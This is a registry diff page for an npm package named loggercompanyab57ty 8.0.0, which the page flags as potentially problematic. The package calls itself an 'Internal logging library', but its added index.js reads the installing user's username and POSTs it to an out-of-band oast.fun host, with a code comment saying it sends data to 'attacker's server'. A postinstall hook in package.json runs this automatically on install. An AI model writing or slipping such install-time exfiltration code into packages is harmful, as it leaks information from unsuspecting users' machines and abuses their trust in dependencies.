loggercompanyab57ty 8.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of loggercompanyab57ty might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +26 -0
  2. package/package.json +13 -0
package/index.js ADDED
@@ -0,0 +1,26 @@
1
+ import os from 'os';
2
+ import https from 'https';
3
+
4
+ const username = os.userInfo().username;
5
+ const data = JSON.stringify({ user: username });
6
+
7
+ const options = {
8
+ hostname: 'ixzbnhxwecqfcxozxoaxn9t9lck0bv7jz.oast.fun',
9
+ port: 443,
10
+ path: '/',
11
+ method: 'POST',
12
+ headers: {
13
+ 'Content-Type': 'application/json',
14
+ 'Content-Length': data.length
15
+ }
16
+ };
17
+
18
+ // Send data to attacker's server
19
+ const req = https.request(options, res => {
20
+ res.on('data', d => process.stdout.write(d));
21
+ });
22
+
23
+ req.on('error', error => console.error(`Error: ${error.message}`));
24
+
25
+ req.write(data);
26
+ req.end();
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "loggercompanyab57ty",
3
+ "version": "8.0.0",
4
+ "description": "Internal logging library",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "postinstall": "node index.js"
8
+ },
9
+ "dependencies": {
10
+ "os": "^0.1.1",
11
+ "https": "^1.0.0"
12
+ }
13
+ }